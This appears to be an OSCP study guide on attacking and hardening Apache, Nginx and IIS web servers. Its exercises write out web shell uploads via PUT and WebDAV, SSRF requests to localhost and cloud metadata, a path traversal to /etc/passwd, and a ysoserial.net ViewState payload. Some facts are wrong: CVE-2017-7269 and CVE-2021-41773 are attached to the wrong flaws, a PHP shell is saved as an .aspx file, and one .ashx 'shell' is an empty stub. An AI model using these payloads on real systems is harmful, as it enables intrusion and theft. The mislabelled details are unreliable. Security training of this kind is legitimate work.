Web Server Technologies
Overview
Web servers are the front-line defenders of web applications. Understanding the three most common web servers — Apache, Nginx, and IIS — is essential for OSCP. Each has unique configurations, default behaviors, and vulnerability surfaces. Identifying which server a target runs is often your first step, as it determines which exploits and enumeration techniques to apply.
Apache HTTP Server
Overview
| Attribute | Details |
|---|---|
| Developer | Apache Software Foundation |
| Market Share | ~37% of all websites |
| Default Port | 80 (HTTP), 443 (HTTPS) |
| Process Model | MPM (prefork, worker, event) |
| Configuration | Declarative, supports .htaccess |
Key Configuration Files
| File | Purpose |
|---|---|
/etc/apache2/apache2.conf |
Main configuration (Debian/Ubuntu) |
/etc/httpd/conf/httpd.conf |
Main configuration (RHEL/CentOS) |
/etc/apache2/sites-available/ |
Virtual host configurations |
/etc/apache2/mods-enabled/ |
Enabled modules |
/var/log/apache2/access.log |
Access logs |
/var/log/apache2/error.log |
Error logs |
Apache Modules
| Module | Purpose | Security Risk |
|---|---|---|
mod_php |
PHP processing | PHP vulnerabilities |
mod_ssl |
SSL/TLS support | Weak cipher configurations |
mod_rewrite |
URL rewriting | Logic bypass |
mod_proxy |
Reverse proxy | SSRF, open proxy |
mod_cgi |
CGI execution | Command injection |
mod_autoindex |
Directory listing | Information disclosure |
mod_status |
Server status | Information disclosure |
mod_info |
Server info | Configuration disclosure |
Attack Vectors
1. .htaccess Misconfiguration
Concept: .htaccess files allow per-directory configuration. If misconfigured, they can enable directory traversal, script execution, or information disclosure.
# Dangerous .htaccess directives
Options +Indexes # Enable directory listing
Options +ExecCGI # Enable CGI execution
AddHandler cgi-script .php # Treat PHP as CGI
Exploitation:
# Check if .htaccess is accessible
curl http://target.com/.htaccess
# Upload malicious .htaccess via file upload
# Then exploit to execute arbitrary code
2. mod_cgi Command Injection
Concept: CGI scripts can execute OS commands. If user input reaches system() or backticks, command injection occurs.
# Test CGI command injection
curl "http://target.com/cgi-bin/test.cgi?input=;id"
3. mod_proxy SSRF
Concept: A misconfigured reverse proxy can be used to access internal services.
# Test for open proxy
curl -x http://target.com:8080 http://internal.target.com/admin
# Test for SSRF via proxy
curl "http://target.com/proxy?url=http://127.0.0.1:8080/admin"
4. Server Status/Info Disclosure
Concept: mod_status and mod_info pages reveal server configuration and running processes.
# Check for server-status
curl http://target.com/server-status
curl http://target.com/server-info
# Look for:
# - Active connections and their IPs
# - Running processes and memory usage
# - Server configuration details
Enumeration Targets
/server-status
/server-info
/.htaccess
/.htpasswd
/icons/
/manual/
/cgi-bin/
/phpmyadmin/
/webmail/
Nginx
Overview
| Attribute | Details |
|---|---|
| Developer | Nginx, Inc. |
| Market Share | ~33% of all websites |
| Default Port | 80 (HTTP), 443 (HTTPS) |
| Architecture | Event-driven, asynchronous |
| Configuration | Centralized (no .htaccess equivalent) |
Key Configuration Files
| File | Purpose |
|---|---|
/etc/nginx/nginx.conf |
Main configuration |
/etc/nginx/sites-available/ |
Site configurations (Debian/Ubuntu) |
/etc/nginx/conf.d/ |
Additional configurations |
/var/log/nginx/access.log |
Access logs |
/var/log/nginx/error.log |
Error logs |
Attack Vectors
1. Directory Listing (autoindex)
Concept: autoindex on enables directory browsing.
# Dangerous configuration
location /files {
autoindex on;
}
Exploitation:
# Browse directory listing
curl http://target.com/files/
# Returns HTML listing of all files in the directory
2. proxy_pass SSRF
Concept: Misconfigured proxy_pass can expose internal services.
# Dangerous configuration
location /proxy {
proxy_pass http://$arg_url;
}
Exploitation:
# Access internal services
curl "http://target.com/proxy?url=http://127.0.0.1:8080/admin"
curl "http://target.com/proxy?url=http://169.254.169.254/latest/meta-data/"
3. try_files Path Traversal
Concept: Incorrect try_files configuration can lead to path traversal.
# Vulnerable configuration
location /files {
try_files $uri /files/default.html;
}
Exploitation:
# Path traversal via try_files
curl "http://target.com/files/../../../etc/passwd"
4. Nginx Parser Bugs
Concept: Nginx has had several parser vulnerabilities (CVE-2013-4547, HTTP/2 rapid reset).
# HTTP/2 rapid reset DoS (CVE-2023-44487)
# Requires specific tools like h2r
Enumeration Targets
/nginx_status
/.well-known/
/.nginx/
Microsoft IIS
Overview
| Attribute | Details |
|---|---|
| Developer | Microsoft |
| Market Share | ~20% of all websites |
| Default Port | 80 (HTTP), 443 (HTTPS) |
| Web Platform | ASP.NET, ASP Classic |
| Default Root | C:\inetpub\wwwroot\ |
Key Configuration Files
| File | Purpose |
|---|---|
%windir%\System32\inetsrv\config\applicationHost.config |
Main configuration |
C:\inetpub\wwwroot\web.config |
Application configuration |
%SystemDrive%\inetpub\logs\LogFiles\ |
Log files |
Attack Vectors
1. WebDAV File Upload
Concept: WebDAV (WEB Distributed Authoring and Versioning) allows file operations via HTTP.
# Check if WebDAV is enabled
curl -X OPTIONS http://target.com/
# Look for: Dav: 1, 2, access-control
# Upload a file via PUT
curl -X PUT --data "<?php system(\$_GET['cmd']); ?>" \
http://target.com/shell.php
# Using cadaver (WebDAV client)
cadaver http://target.com/
dav:> put shell.php
2. ASP.NET ViewState Deserialization
Concept: ASP.NET ViewState stores page state. If the machine key is known or weak, deserialization attacks are possible.
# Tool: ysoserial.net
# Generate malicious ViewState payload
ysoserial.exe -g TextFormattingRunProperties -f ObjectStateFormatter -c "cmd.exe /c whoami"
3. IIS PUT Method
Concept: If the PUT method is enabled, arbitrary file upload is possible.
# Check if PUT is allowed
curl -X OPTIONS http://target.com/
# Look for: Allow: GET, HEAD, POST, PUT, OPTIONS, TRACE
# Upload via PUT
curl -X PUT --data "<?php system(\$_GET['cmd']); ?>" \
http://target.com/shell.aspx
4. IIS Short Name Bruteforce (CVE-2017-7269)
Concept: IIS 6.0-8.5 leaks shortened directory names via 404 response sizes.
# Using Microsoft-WebDAV-Scanner
git clone https://github.com/lijiejie/Microsoft-WebDAV-Vuln-Scan-Tool
python ms17_7269_scanner.py http://target.com/
# Using DirBuster with short name wordlist
5. IIS Remote Code Execution (CVE-2021-41773)
Concept: WebDAV + PUT method allows uploading .ashx files for RCE.
# Upload .ashx web shell
curl -X PUT --data "<?xml version=\"1.0\"?><%@ WebHandler Language=\"C#\" Class=\"Handler\" %>" \
http://target.com/shell.ashx
Enumeration Targets
/web.config
/iisstart.htm
/iis-85.png
/iis-10_0.png
/aspnet_client/
/microsoft-server-activesync/
/traceroute.aspx
Server Comparison
| Feature | Apache | Nginx | IIS |
|---|---|---|---|
| Architecture | Process/thread-based | Event-driven | Event-driven |
| Config Style | Declarative (.htaccess) | Centralized | GUI + XML |
| Best For | Dynamic content, modularity | Static content, reverse proxy | Windows/ASP.NET ecosystems |
| Default File | index.html | index.html | default.htm, iisstart.htm |
| Vulnerability Surface | High (many modules) | Medium | High (Windows integration) |
| Log Format | Combined/Common | Customizable | W3C |
| SSL/TLS | mod_ssl | Built-in | SCHANNEL |
Identification Techniques
HTTP Response Headers
# Check Server header
curl -I http://target.com
# Apache: Server: Apache/2.4.41 (Ubuntu)
# Nginx: Server: nginx/1.18.0
# IIS: Server: Microsoft-IIS/10.0
Default Pages
| Server | Default Page | URL |
|---|---|---|
| Apache | “It works!” | http://target.com/ |
| Nginx | “Welcome to nginx!” | http://target.com/ |
| IIS | IIS welcome page | http://target.com/ |
Error Pages
| Server | 404 Error | 500 Error |
|---|---|---|
| Apache | “Not Found” (plain text) | “Internal Server Error” |
| Nginx | “404 Not Found” (styled) | “500 Internal Server Error” |
| IIS | Detailed error page | Detailed error page with stack trace |
Practical Lab Exercises
Exercise 1: Identify the Web Server
# Method 1: Check Server header
curl -I http://target.com
# Method 2: Check default page content
curl -s http://target.com | head -20
# Method 3: Check error pages
curl -s http://target.com/nonexistent-page-12345
# Method 4: Use whatweb
whatweb http://target.com
Exercise 2: Enumerate Apache-Specific Targets
# Check for server-status
curl -s http://target.com/server-status | head -20
# Check for .htpasswd
curl -s http://target.com/.htpasswd
# Check for phpMyAdmin
curl -s -o /dev/null -w "%{http_code}" http://target.com/phpmyadmin/
# Check for exposed config
curl -s http://target.com/.htaccess
Exercise 3: Exploit IIS WebDAV
# Check WebDAV support
curl -X OPTIONS http://target.com/ -v
# If WebDAV is enabled, try PUT
curl -X PUT --data "test" http://target.com/test.txt
# If PUT works, upload a web shell
curl -X PUT --data "<?php system(\$_GET['cmd']); ?>" \
http://target.com/shell.php
Defensive Strategies
Apache Hardening
# Disable server version disclosure
ServerTokens Prod
ServerSignature Off
# Disable directory listing
Options -Indexes
# Disable unnecessary modules
# a2dismod status info autoindex
# Restrict server-status
<Location /server-status>
Require ip 127.0.0.1
</Location>
Nginx Hardening
# Disable server version disclosure
server_tokens off;
# Disable directory listing
autoindex off;
# Restrict nginx_status
location /nginx_status {
stub_status on;
allow 127.0.0.1;
deny all;
}
IIS Hardening
<!-- web.config -->
<system.webServer>
<!-- Disable detailed errors -->
<httpErrors errorMode="Custom" />
<!-- Disable WebDAV if not needed -->
<modules>
<remove name="WebDAVModule" />
</modules>
</system.webServer>
Key Takeaways for OSCP
-
Identify the server first. The
Serverheader tells you which attack vectors to pursue. -
Apache has the most modules. More modules = more attack surface. Check for mod_status, mod_info, mod_cgi.
-
Nginx is often a reverse proxy. Look for SSRF via proxy_pass misconfigurations.
-
IIS on Windows is common in OSCP labs. WebDAV, PUT method, and ASP.NET vulnerabilities are frequent exam targets.
-
Default pages and error pages are fingerprints. They reveal the server type and version.
-
Always check for directory listing. It’s the easiest way to find sensitive files.
Exam Tips
- Check the
Serverheader immediately after finding a web service. - Try
/server-statuson Apache,/nginx_statuson Nginx. - On IIS, always check for WebDAV support (
OPTIONSrequest). - Look for
.htpasswd,web.config, and other config files. - Default credentials on admin panels (phpMyAdmin, Tomcat Manager) are common.
- Error pages often contain stack traces with file paths and internal IPs.